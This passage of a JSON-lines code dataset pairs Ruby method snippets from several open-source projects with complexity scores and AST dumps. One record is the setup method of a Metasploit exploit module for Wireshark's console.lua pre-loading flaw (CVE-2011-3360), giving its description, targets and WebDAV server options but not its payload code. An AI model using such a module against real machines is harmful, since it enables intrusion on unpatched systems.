end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tempfile\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"output\"]},{\"type\":\"str\",\"children\":[\".png\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},\"path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"image_uploader\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArticleImageUploader\"]},\"new\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uploader\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uploader\"]},\"store!\",{\"type\":\"lvar\",\"children\":[\"tempfile\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempfile\"]},\"unlink\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image_uploader\"]},\"url\"]}]}]}","id":"e9d2a9f8-8a12-44f8-8e7f-c9222b31f949"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/repositories_controller.rb","start_line":47,"raw_source":"def repo_params\n    @repo_params ||= { ref: ref, path: params[:path], format: params[:format], append_sha: @append_sha }\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"repo_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repo_params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[null,\"ref\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"format\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"append_sha\"]},{\"type\":\"ivar\",\"children\":[\"@append_sha\"]}]}]}]}]}","id":"36535b2a-3860-4127-ab9d-8bb69b7b97e9"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/trainer/lib/trainer/xcresult/helper.rb","start_line":29,"raw_source":"def self.find_json_children(node, *node_types)\n        return [] if node.nil? || node['children'].nil?\n\n        node['children'].select { |child| node_types.include?(child['nodeType']) }\n      end","complexity_score":11.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_json_children\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"restarg\",\"children\":[\"node_types\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"children\"]}]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"children\"]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_types\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nodeType\"]}]}]}]}]}]}","id":"1af85452-e09f-46c2-8af1-bbac5015fde0"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/rake_test.rb","start_line":119,"raw_source":"def test_does_not_explode_when_accessing_a_model\n      add_to_config <<-RUBY\n        rake_tasks do\n          task do_nothing: :environment do\n            Hello.new.world\n          end\n        end\n      RUBY\n\n      app_file \"app/models/hello.rb\", <<-RUBY\n        class Hello\n          def world\n            puts 'Hello world'\n          end\n        end\n      RUBY\n\n      output = rails(\"do_nothing\")\n      assert_match \"Hello world\", output\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_does_not_explode_when_accessing_a_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_to_config\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        rake_tasks do\\n\"]},{\"type\":\"str\",\"children\":[\"          task do_nothing: :environment do\\n\"]},{\"type\":\"str\",\"children\":[\"            Hello.new.world\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"app_file\",{\"type\":\"str\",\"children\":[\"app/models/hello.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        class Hello\\n\"]},{\"type\":\"str\",\"children\":[\"          def world\\n\"]},{\"type\":\"str\",\"children\":[\"            puts 'Hello world'\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"do_nothing\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"Hello world\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"bed7a15e-bb7d-4fa6-a014-c8df927bac8c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/script/base.rb","start_line":19,"raw_source":"def initialize(client, path)\n    self.client    = client\n    self.framework = client.framework\n    self.path      = path\n    self.sink      = OutputSink.new\n\n    if(client.framework.db and client.framework.db.active)\n      self.workspace = client.framework.db.find_workspace( client.workspace.to_s ) || client.framework.db.workspace\n    end\n\n    # Convenience aliases\n    self.session   = self.client\n  end","complexity_score":29.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]},{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"client=\",{\"type\":\"lvar\",\"children\":[\"client\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"framework=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"framework\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"path=\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sink=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OutputSink\"]},\"new\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"framework\"]},\"db\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"framework\"]},\"db\"]},\"active\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"workspace=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"framework\"]},\"db\"]},\"find_workspace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"workspace\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"framework\"]},\"db\"]},\"workspace\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"session=\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"client\"]}]}]}]}","id":"2631a248-2bc2-4b21-8167-698c17525e53"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/config/yaml_parser/parser.rb","start_line":69,"raw_source":"def label_build(config, indent: 0)\n          config = config.dup\n          name = config.delete('$name')\n          c = config.delete('config')\n          SectionBuilder.new('label', config_build(c, indent: indent + @base_indent), indent, name)\n        end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"label_build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"kwoptarg\",\"children\":[\"indent\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"dup\"]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"delete\",{\"type\":\"str\",\"children\":[\"$name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"delete\",{\"type\":\"str\",\"children\":[\"config\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SectionBuilder\"]},\"new\",{\"type\":\"str\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"config_build\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indent\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@base_indent\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"indent\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"4185d1e1-4914-4f32-be04-7d3d4a1bad0b"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20210812033033_add_multipart_and_size_columns_to_external_upload_stubs.rb","start_line":18,"raw_source":"def down\n    remove_column :external_upload_stubs, :multipart\n    remove_column :external_upload_stubs, :external_upload_identifier\n    remove_column :external_upload_stubs, :filesize\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"external_upload_stubs\"]},{\"type\":\"sym\",\"children\":[\"multipart\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"external_upload_stubs\"]},{\"type\":\"sym\",\"children\":[\"external_upload_identifier\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"external_upload_stubs\"]},{\"type\":\"sym\",\"children\":[\"filesize\"]}]}]}]}","id":"2682e570-f756-4820-bb42-a7f5bbaccd62"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/deployment.rb","start_line":354,"raw_source":"def formatted_deployment_time\n    deployed_at&.to_time&.in_time_zone&.to_fs(:medium)\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"formatted_deployment_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deployed_at\"]},\"to_time\"]},\"in_time_zone\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"medium\"]}]}]}","id":"c4bbe440-9683-4ab4-96e1-f273b415aca2"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/site_settings/validations.rb","start_line":186,"raw_source":"def validate_backup_location(new_val)\n    return unless new_val == BackupLocationSiteSetting::S3\n    if SiteSetting.s3_backup_bucket.blank?\n      validate_error(:s3_backup_requires_s3_settings, setting_name: \"s3_backup_bucket\")\n    end\n\n    unless SiteSetting.s3_use_iam_profile\n      if SiteSetting.s3_access_key_id.blank?\n        validate_error(:s3_backup_requires_s3_settings, setting_name: \"s3_access_key_id\")\n      end\n      if SiteSetting.s3_secret_access_key.blank?\n        validate_error(:s3_backup_requires_s3_settings, setting_name: \"s3_secret_access_key\")\n      end\n    end\n  end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_backup_location\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_val\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BackupLocationSiteSetting\"]},\"S3\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"s3_backup_bucket\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"validate_error\",{\"type\":\"sym\",\"children\":[\"s3_backup_requires_s3_settings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"setting_name\"]},{\"type\":\"str\",\"children\":[\"s3_backup_bucket\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"s3_use_iam_profile\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"s3_access_key_id\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"validate_error\",{\"type\":\"sym\",\"children\":[\"s3_backup_requires_s3_settings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"setting_name\"]},{\"type\":\"str\",\"children\":[\"s3_access_key_id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"s3_secret_access_key\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"validate_error\",{\"type\":\"sym\",\"children\":[\"s3_backup_requires_s3_settings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"setting_name\"]},{\"type\":\"str\",\"children\":[\"s3_secret_access_key\"]}]}]}]},null]}]}]}]}]}","id":"9b506ab8-3831-47e6-9b61-49e0a282fb69"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/dependency_linker/json_linker.rb","start_line":6,"raw_source":"def link\n        return highlighted_text unless json\n\n        super\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"highlighted_text\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"0c2e90a3-2b39-4091-ab33-c7eed6a544f3"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/uploader/tasks/base.rb","start_line":131,"raw_source":"def calculate_thread_count\n        base = Etc.nprocessors\n        thread_count_factor = settings.fetch(:thread_count_factor, DEFAULT_THREAD_FACTOR)\n        store_factor = discourse_store.external? ? 2 : 1\n\n        (base * thread_count_factor * store_factor).to_i\n      end","complexity_score":13.55,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_thread_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Etc\"]},\"nprocessors\"]}]},{\"type\":\"lvasgn\",\"children\":[\"thread_count_factor\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"settings\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"thread_count_factor\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_THREAD_FACTOR\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"store_factor\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discourse_store\"]},\"external?\"]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"thread_count_factor\"]}]},\"*\",{\"type\":\"lvar\",\"children\":[\"store_factor\"]}]}]},\"to_i\"]}]}]}","id":"3194d56f-408d-4926-9983-0543f1aef155"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/db/migrate/20250104200055_create_captain_tables.rb","start_line":34,"raw_source":"def create_assistants\n    create_table :captain_assistants do |t|\n      t.string :name, null: false\n      t.bigint :account_id, null: false\n      t.string :description\n\n      t.timestamps\n    end\n\n    add_index :captain_assistants, :account_id\n    add_index :captain_assistants, [:account_id, :name], unique: true\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_assistants\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"captain_assistants\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"captain_assistants\"]},{\"type\":\"sym\",\"children\":[\"account_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"captain_assistants\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"6457183e-bf51-455e-ac10-89ba2d5f4c82"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/wireshark_lua.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Wireshark console.lua Pre-Loading Script Execution\",\n        'Description' => %q{\n          This module exploits a vulnerability in Wireshark 1.6 or less. When opening a\n          pcap file, Wireshark will actually check if there's a 'console.lua' file in the same\n          directory, and then parse/execute the script if found.  Versions affected by this\n          vulnerability: 1.6.0 to 1.6.1, 1.4.0 to 1.4.8\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Haifei Li', # For reporting the vuln\n          'sinn3r', # Metasploit\n        ],\n        'References' => [\n          ['CVE', '2011-3360'],\n          ['OSVDB', '75347'],\n          ['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=6136'],\n          ['URL', 'http://technet.microsoft.com/en-us/security/msvr/msvr11-014']\n        ],\n        'Payload' => {\n          'BadChars' => \"\\x00\",\n        },\n        'DefaultOptions' => {\n          'EXITFUNC' => \"none\"\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          ['Wireshark 1.6.1 or less', {}],\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2011-07-18', # Didn't go public until 2011-09-21 though\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPort.new('SRVPORT', [ true, \"The daemon port to listen on (do not change)\", 80 ]),\n        OptString.new('SHARENAME', [ true, \"The name of the top-level share.\", \"files\"]),\n        OptString.new('URIPATH', [ true, \"The URI to use\", \"/\" ]),\n        OptString.new('FILENAME', [ true, \"The name of the pcap file\", \"msf.pcap\"])\n      ]\n    )\n\n    deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL\n  end","complexity_score":10.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Wireshark console.lua Pre-Loading Script Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a vulnerability in Wireshark 1.6 or less. When opening a\\n\"]},{\"type\":\"str\",\"children\":[\"          pcap file, Wireshark will actually check if there's a 'console.lua' file in the same\\n\"]},{\"type\":\"str\",\"children\":[\"          directory, and then parse/execute the script if found.  Versions affected by this\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerability: 1.6.0 to 1.6.1, 1.4.0 to 1.4.8\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Haifei Li\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2011-3360\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"75347\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=6136\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://technet.microsoft.com/en-us/security/msvr/msvr11-014\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"none\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Wireshark 1.6.1 or less\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2011-07-18\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The daemon port to listen on (do not change)\"]},{\"type\":\"int\",\"children\":[80]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SHARENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the top-level share.\"]},{\"type\":\"str\",\"children\":[\"files\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"URIPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI to use\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the pcap file\"]},{\"type\":\"str\",\"children\":[\"msf.pcap\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"str\",\"children\":[\"SSLVersion\"]}]}]}]}","id":"94704668-a725-49e0-8fe4-b702d27cbe3a"}
